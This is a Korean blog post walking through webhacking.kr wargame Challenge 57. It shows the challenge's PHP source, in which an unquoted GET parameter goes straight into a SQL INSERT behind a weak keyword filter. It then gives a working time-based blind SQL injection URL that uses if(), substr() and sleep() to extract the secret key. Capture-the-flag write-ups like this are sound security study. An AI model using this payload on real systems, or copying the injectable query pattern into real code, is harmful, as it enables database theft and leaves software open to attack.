'Wargame/webhacking.kr'에 해당되는 글 1건

  1. 2014.02.24 Challenge 57

Challenge 57

Wargame/webhacking.kr 2014. 2. 24. 22:11

힌트로 제시해준 소스이다.

=============================================================================

<html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?
$secret_key
="????"
;

if(
time()>1309064400) exit("오후 2시에 공개됩니다."
);

if(
$_POST[pw
])
{

if(
$_POST[pw]==$secret_key
)
{
mysql_query("delete from challenge57msg"
);
@
solve
();
exit();
}

}


if(
$_GET[msg] && $_GET[se
])
{
if(
eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied"
);

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])"
);
echo(
"Done<br><br>"
);
}

?>

<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>

<form method=post action=index.php>
Secret key : <input name=pw><input type=submit><br><br>
</form>

<br><br><a href=indexbackupfile.phps>phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=blueh4g>BlueH4g</a></center>
<br><br><br>

</body>
</html>

=============================================================================

http://webhacking.kr/challenge/web/web-34/index.php?msg=sadf&se=if(ascii(substr(pw,0,1))>0,sleep(100),1)


이런식으로 se에는 '(싱글 쿼터)로 묶여있지 않으므로 if문을 이용해서 timebased blind sql injection을 시도하면 풀린다.


sleep의 인자로 너무 큰 숫자를 주면 서버에 무리가 가니까 적당한 숫자를 인자로 주자.

Posted by windowhan
,